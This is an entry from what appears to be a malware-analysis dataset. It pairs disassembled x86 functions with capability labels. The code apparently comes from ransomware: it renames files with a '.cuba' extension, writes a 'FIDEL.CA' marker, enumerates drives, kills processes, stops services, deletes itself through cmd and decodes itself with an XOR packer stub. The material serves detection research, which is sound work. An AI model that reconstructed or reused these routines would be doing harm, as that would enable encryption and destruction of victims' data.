joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4057a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x472128]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x4057d0
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00421234
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x40580c
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x40580c
lea ecx, [edi - 1]
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00421234
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x4058f3
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x405834
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x405867
push dword [esi + 0x4c]
movsx eax, bl
push eax
call fcn.0043bb27
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00421234
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
mov edx, dword [ecx]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x1c]
test eax, eax
js 0x4058f3
cmp eax, 1
jle 0x4058c6
cmp eax, 3
jne 0x4058f3
push dword [esi + 0x4c]
movsx eax, byte [ebp - 0x25]
push eax
call fcn.0043bb27
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00421234
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x4058e3
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.0043c44c
add esp, 0x10
cmp edi, eax
jne 0x4058f3
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
jne 0x4057f7
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00421234
mov esp, ebp
pop ebp
ret 4
Function at 0x4065b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x472128]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x38], 0
je 0x406651
cmp byte [esi + 0x3d], 0
je 0x406651
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x406607
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
mov edx, dword [ecx]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x406619
sub eax, 1
je 0x40661d
sub eax, 2
je 0x406651
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00421234
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x40663a
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.0043c44c
add esp, 0x10
cmp edi, eax
jne 0x406607
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00421234
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.00421234
mov esp, ebp
pop ebp
ret
Function at 0x407190
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x453227
mov eax, dword fs:[0]
push eax
sub esp, 0x64
mov eax, dword [0x472128]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ecx + 0x30]
mov dword [ebp - 4], 0
mov edi, dword [eax + 4]
mov ecx, edi
mov dword [ebp - 0x28], edi
mov eax, dword [edi]
call dword [eax + 4]
push 0
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 1
call fcn.0041f458
mov byte [ebp - 4], 2
mov ecx, dword [0x47672c]
mov eax, dword [0x477878]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x24], ecx
test ecx, ecx
jne 0x40722e
push ecx
lea ecx, [ebp - 0x18]
call fcn.0041f458
cmp dword [0x47672c], 0
jne 0x40721d
mov eax, dword [0x476714]
inc eax
mov dword [0x476714], eax
mov dword [0x47672c], eax
lea ecx, [ebp - 0x18]
call fcn.0041f4b0
mov ecx, dword [0x47672c]
mov dword [ebp - 0x24], ecx
cmp ecx, dword [edi + 0xc]
jae 0x407243
mov eax, dword [edi + 8]
mov esi, dword [eax + ecx*4]
test esi, esi
jne 0x4072d8
jmp 0x407245
xor esi, esi
cmp byte [edi + 0x14], 0
je 0x40725e
call fcn.0041f7d3
mov esi, dword [ebp - 0x24]
cmp esi, dword [eax + 0xc]
jae 0x407262
mov eax, dword [eax + 8]
mov esi, dword [eax + esi*4]
test esi, esi
jne 0x4072d8
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x40726d
mov esi, eax
jmp 0x4072d8
push 0x18
call fcn.0042124a
mov esi, eax
add esp, 4
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 3
mov eax, dword [edi + 0x18]
test eax, eax
jne 0x40728a
lea eax, [edi + 0x1c]
push eax
lea ecx, [ebp - 0x70]
call fcn.00401320
lea eax, [ebp - 0x3c]
mov dword [esi + 4], 0
push eax
mov dword [esi], vtable.std::ctype_char_.0
call fcn.004200bb
add esp, 4
lea ecx, [ebp - 0x70]
movups xmm0, xmmword [eax]
movups xmmword [esi + 8], xmm0
call fcn.004013e0
mov dword [ebp - 0x14], esi
push esi
mov byte [ebp - 4], 4
call fcn.0041f7a7
mov eax, dword [esi]
add esp, 4
mov ecx, esi
call dword [eax + 4]
mov dword [0x477878], esi
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 1
call fcn.0041f4b0
mov eax, dword [esi]
mov ecx, esi
push 0x20
mov eax, dword [eax + 0x20]
call eax
mov byte [ebp - 0x1d], al
mov dword [ebp - 4], 5
mov ecx, edi
mov edx, dword [edi]
mov edx, dword [edx + 8]
call edx
test eax, eax
je 0x40730e
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov al, byte [ebp - 0x1d]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00421234
mov esp, ebp
pop ebp
ret 4
Function at 0x4089e0
Capabilities:
Get file size
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4533c8
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x472128]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 8]
xorps xmm0, xmm0
movlpd qword [ebp - 0x18], xmm0
mov dword [ebp - 4], 0
mov eax, edi
cmp dword [edi + 0x14], 8
jb 0x408a29
mov eax, dword [edi]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [ebp - 0x18], ebx
cmp ebx, 0xffffffff
jne 0x408a59
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor bl, bl
jmp 0x408bc3
lea ecx, [esi + 0x9c]
mov edx, 0x20
call fcn.004087c0
test al, al
je 0x408a7d
lea ecx, [esi + 0xbc]
mov edx, 0x18
call fcn.004087c0
push 0x14
lea ecx, [esi + 0x9c]
push 0x18
lea eax, [ecx + 0x20]
push eax
push 0x20
lea edx, [esi + 0x10]
push ecx
push edx
mov dword [ebp - 0x3c], edx
call fcn.00409ce0
add esp, 0x18
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
test ecx, ecx
jg 0x408b0c
jl 0x408abb
cmp eax, 0x200000
ja 0x408ac8
lea eax, [ebp - 0x18]
mov ecx, esi
push eax
call fcn.00408bf0
jmp 0x408b2e
test ecx, ecx
jg 0x408b0c
jl 0x408ad5
cmp eax, 0xa00000
ja 0x408ad9
push 0x20
jmp 0x408b23
test ecx, ecx
jg 0x408b0c
jl 0x408ae6
cmp eax, 0x3200000
ja 0x408aea
push 0x30
jmp 0x408b23
test ecx, ecx
jg 0x408b0c
jl 0x408af7
cmp eax, 0xc800000
ja 0x408afb
push 0x40
jmp 0x408b23
test ecx, ecx
jg 0x408b0c
jl 0x408b08
cmp eax, 0x1f400000
ja 0x408b0c
push 0x60
jmp 0x408b23
cmp ecx, 2
jg 0x408b1e
jl 0x408b1a
cmp eax, 0x80000000
ja 0x408b1e
push 0x70
jmp 0x408b23
push 0x80
lea eax, [ebp - 0x18]
mov ecx, esi
push eax
call fcn.00408f00
mov esi, dword [ebp - 0x18]
mov bl, al
cmp esi, 0xffffffff
je 0x408b45
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or esi, 0xffffffff
mov dword [ebp - 0x18], esi
push dword [ebp - 0x3c]
call fcn.0040a0a0
add esp, 4
test bl, bl
je 0x408bb7
push str..cuba
mov edx, edi
lea ecx, [ebp - 0x38]
call fcn.00407410
add esp, 4
lea eax, [ebp - 0x38]
cmp dword [ebp - 0x24], 8
cmovae eax, dword [ebp - 0x38]
cmp dword [edi + 0x14], 8
jb 0x408b79
mov edi, dword [edi]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov edx, dword [ebp - 0x24]
cmp edx, 8
jb 0x408bb7
mov ecx, dword [ebp - 0x38]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x408bad
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408be3
push edx
push ecx
call fcn.00421514
add esp, 8
cmp esi, 0xffffffff
je 0x408bc3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00421234
mov esp, ebp
pop ebp
ret 4
call fcn.0043d054
int3
Function at 0x408bf0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x424
mov eax, dword [0x472128]
xor eax, esp
mov dword [esp + 0x420], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [esp + 0x24]
mov esi, ecx
mov dword [esp + 0x18], edi
push 0
push eax
mov dword [esp + 0x18], esi
push dword [esi + 4]
mov dword [esp + 0x30], 0
push dword [esi]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x408c5c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi + 4], eax
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x420]
xor ecx, esp
call fcn.00421234
mov esp, ebp
pop ebp
ret 4
mov ebx, dword [esi]
mov eax, dword [esp + 0x24]
mov dword [esp + 0x14], eax
cmp dword [ebx], 0x45444946
jne 0x408c7b
cmp dword [ebx + 4], 0x41432e4c
je 0x408d98
mov ecx, dword [esi + 8]
mov dword [esp + 0xc], ecx
test eax, eax
jle 0x408cc8
lea edx, [esi + 0x10]
mov edi, eax
nop dword [eax + eax]
mov eax, dword [esi + 0xc]
mov esi, edi
cmp edi, eax
push ecx
cmovge esi, eax
push esi
push ebx
push edx
call fcn.0040a410
push esi
push dword [esp + 0x20]
push ebx
call fcn.00438190
mov ecx, dword [esp + 0x28]
add ebx, esi
sub edi, esi
add esp, 0x1c
mov esi, dword [esp + 0x10]
lea edx, [esi + 0x10]
test edi, edi
jg 0x408c90
mov edi, dword [esp + 0x18]
push 0
push 0
xorps xmm0, xmm0
movlpd qword [esp + 0x20], xmm0
push dword [esp + 0x24]
push dword [esp + 0x24]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x408cf4
call ebx
mov dword [edi + 4], eax
push 0x3ec
lea eax, [esp + 0x40]
push 0
push eax
call fcn.00438710
mov eax, dword [str.FIDEL.CA]
lea ecx, [esp + 0x34]
mov dword [esp + 0x34], eax
add esp, 0xc
mov eax, dword [0x46b320]
mov dword [esp + 0x2c], eax
mov eax, dword [0x4802b0]
mov dword [esp + 0x38], eax
lea eax, [esi + 0x9c]
push eax
mov dword [esp + 0x34], 0x400
mov dword [esp + 0x38], 5
call fcn.00408890
or dword [esp + 0x3c], 0x10
lea eax, [esp + 0x18]
push 0
push eax
push 0x400
lea eax, [esp + 0x34]
mov dword [esp + 0x24], 0
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x408d72
call ebx
mov dword [edi + 4], eax
push 0
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0
push eax
push dword [esp + 0x1c]
push dword [esi]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x408db1
call ebx
mov dword [edi + 4], eax
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x420]
xor ecx, esp
call fcn.00421234
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [esp + 0x42c]
mov al, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00421234
mov esp, ebp
pop ebp
ret 4
Function at 0x409240
Capabilities:
Get disk information

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45341d
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x850
mov eax, dword [0x472128]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x838], edi
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x844], edi
mov dword [ebp - 0x83c], 0
push 0
movq qword [edi], xmm0
push 0
mov dword [edi], 0
mov dword [edi + 4], 0
call fcn.004099a0
mov dword [edi], eax
lea eax, [ebp - 0x818]
mov dword [ebp - 4], 0
push eax
push 0x800
mov dword [ebp - 0x83c], 1
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
cmp word [ebp - 0x818], 0
lea esi, [ebp - 0x818]
je 0x409428
nop word [eax + eax]
xor eax, eax
mov dword [ebp - 0x824], 0
mov dword [ebp - 0x820], 7
mov word [ebp - 0x834], ax
mov dword [ebp - 4], 1
mov dword [ebp - 0x84c], eax
mov word [ebp - 0x85c], ax
mov eax, esi
mov dword [ebp - 0x848], 7
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x409340
sub eax, edx
lea ecx, [ebp - 0x85c]
sar eax, 1
push eax
push esi
call fcn.00406390
movups xmm0, xmmword [ebp - 0x85c]
push esi
movups xmmword [ebp - 0x834], xmm0
movq xmm0, qword [ebp - 0x84c]
movq qword [ebp - 0x824], xmm0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 0x81c], eax
lea edx, [ebp - 0x834]
mov eax, dword [edi]
push edx
mov dword [ebp - 0x840], eax
mov ecx, dword [eax + 4]
push ecx
push eax
mov dword [ebp - 0x838], ecx
call fcn.004099f0
mov edx, dword [edi + 4]
mov ecx, eax
mov eax, 0x71c71c6
sub eax, edx
cmp eax, 1
jb 0x409448
lea eax, [edx + 1]
mov dword [edi + 4], eax
mov eax, dword [ebp - 0x840]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x838]
mov dword [eax], ecx
mov eax, dword [ebp - 0x824]
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x820]
lea esi, [esi + eax*2]
add esi, 2
cmp edx, 8
jb 0x40941e
mov ecx, dword [ebp - 0x834]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x409414
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409452
push edx
push ecx
call fcn.00421514
add esp, 8
cmp word [esi], 0
jne 0x409300
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00421234
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push str.list_T__too_long
call fcn.0041fb23
call fcn.0043d054
int3
Function at 0x409480
Capabilities:
Enumerate process modules
Get process image filename

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1240
call fcn.00421870
mov eax, dword [0x472128]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x1218]
mov dword [ebp - 0x123c], edx
push eax
push 0x1000
lea eax, [ebp - 0x1214]
mov dword [ebp - 0x1238], ecx
xor edi, edi
push eax
mov dword [ebp - 0x1234], edi
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
jne 0x4094dc
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00421234
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x1218]
xor ebx, ebx
shr eax, 2
mov dword [ebp - 0x1240], eax
test eax, eax
je 0x409643
nop word [eax + eax]
push dword [ebp + ebx*4 - 0x1214]
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4096a0
push 0x208
lea eax, [ebp - 0x214]
push eax
push esi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x40969a
lea esi, [ebp - 0x214]
xor edx, edx
lea eax, [ebp - 0x212]
movzx ecx, word [eax - 2]
cmp ecx, 0x5c
jne 0x40955d
mov esi, eax
jmp 0x409562
test cx, cx
je 0x40956a
inc edx
add eax, 2
cmp edx, edi
jb 0x409550
mov ecx, esi
mov dword [ebp - 0x1220], 0
xor eax, eax
mov dword [ebp - 0x121c], 7
mov word [ebp - 0x1230], ax
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409590
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [ebp - 0x1230]
call fcn.00406390
cmp dword [ebp - 0x1220], 0
jbe 0x409656
cmp dword [ebp - 0x121c], 8
lea eax, [ebp - 0x1230]
push dword [ebp - 0x1238]
cmovae eax, dword [ebp - 0x1230]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov edi, dword [ebp - 0x1234]
test eax, eax
jne 0x40965c
mov ecx, dword [ebp - 0x123c]
mov eax, dword [ebp + ebx*4 - 0x1214]
mov dword [ecx + edi*4], eax
inc edi
mov dword [ebp - 0x1234], edi
cmp edi, 0x80
jb 0x40965c
mov edx, dword [ebp - 0x121c]
cmp edx, 8
jb 0x409643
mov ecx, dword [ebp - 0x1230]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x409639
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4096c0
push edx
push ecx
call fcn.00421514
add esp, 8
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00421234
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 0x1234]
mov edx, dword [ebp - 0x121c]
cmp edx, 8
jb 0x4096a0
mov ecx, dword [ebp - 0x1230]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40968e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4096c0
push edx
push ecx
call fcn.00421514
add esp, 8
jmp 0x4096a0
mov edi, dword [ebp - 0x1234]
inc ebx
cmp ebx, dword [ebp - 0x1240]
jb 0x409500
mov ecx, dword [ebp - 8]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00421234
mov esp, ebp
pop ebp
ret
call fcn.0043d054
int3
Function at 0x4096d0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x472128]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ecx
lea edx, [ebp - 0x208]
call fcn.00409480
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x40970e
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00421234
mov esp, ebp
pop ebp
ret
xor esi, esi
test ebx, ebx
je 0x409746
mov eax, dword [ebp + esi*4 - 0x208]
cmp eax, 0xffffffff
je 0x409741
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x409741
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, ebx
jb 0x409714
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00421234
mov esp, ebp
pop ebp
ret

Function at 0x409760
Capabilities:
Check for time delay via gettickcount
Query service status
Stop service
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x472128]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0xf003f
push 0
push 0
mov esi, edx
xor bl, bl
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
mov dword [ebp - 0x30], edi
test edi, edi
je 0x4097a6
push 0x2c
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
jne 0x4097b9
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00421234
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
push eax
push 0x24
lea eax, [ebp - 0x2c]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x40988d
cmp dword [ebp - 0x28], 1
jne 0x4097e1
mov bl, 1
jmp 0x40988d
lea eax, [ebp - 0x2c]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x40988d
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x34], eax
mov eax, 0x3a98
cmp ecx, eax
cmova ecx, eax
cmp dword [ebp - 0x28], 1
mov dword [ebp - 0x14], ecx
je 0x409852
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 8]
push eax
push 0x24
lea eax, [ebp - 0x2c]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x409852
cmp dword [ebp - 0x28], 1
je 0x4097da
call ebx
sub eax, dword [ebp - 0x34]
cmp eax, 0x3a98
ja 0x409852
cmp dword [ebp - 0x28], 1
je 0x409852
mov ecx, dword [ebp - 0x14]
jmp 0x409817
mov eax, dword [ebp - 0x10]
xor bl, bl
cmp eax, 0xffffffff
je 0x40988d
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x40988a
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
movzx ebx, bl
mov ecx, 1
push edi
cmovne ebx, ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x30]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00421234
mov esp, ebp
pop ebp
ret
Function at 0x4098b0
Capabilities:
Create process on windows
Get common file path
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x37c
mov eax, dword [0x472128]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x40
lea eax, [ebp - 0x374]
mov dword [ebp - 0x378], 0x44
push 0
push eax
call fcn.00438710
add esp, 0xc
lea eax, [ebp - 0x320]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40990a
mov ecx, dword [ebp - 4]
xor al, al
xor ecx, ebp
pop esi
call fcn.00421234
mov esp, ebp
pop ebp
ret
push str._c_del
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x110]
push eax
call esi
push str.____NUL
lea eax, [ebp - 0x110]
push eax
call esi
push 0x104
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str._system32cmd.exe
lea eax, [ebp - 0x218]
push eax
call esi
lea eax, [ebp - 0x330]
push eax
lea eax, [ebp - 0x378]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40dd10
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test eax, eax
je 0x40dd6a
mov dword [eax + 0x28], 0
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0x6a09e667
mov dword [eax + 0xc], 0xbb67ae85
mov dword [eax + 0x10], 0x3c6ef372
mov dword [eax + 0x14], 0xa54ff53a
mov dword [eax + 0x18], 0x510e527f
mov dword [eax + 0x1c], 0x9b05688c
mov dword [eax + 0x20], 0x1f83d9ab
mov dword [eax + 0x24], 0x5be0cd19
xor eax, eax
pop ebp
ret
push 0xce
push str.f:_sourcecryptlibtomcrypt_srchashes_sha2_sha256.c
push str.md___NULL
call fcn.0040c100
int3
Function at 0x423d53
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x444105
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00443f84

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x42e030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219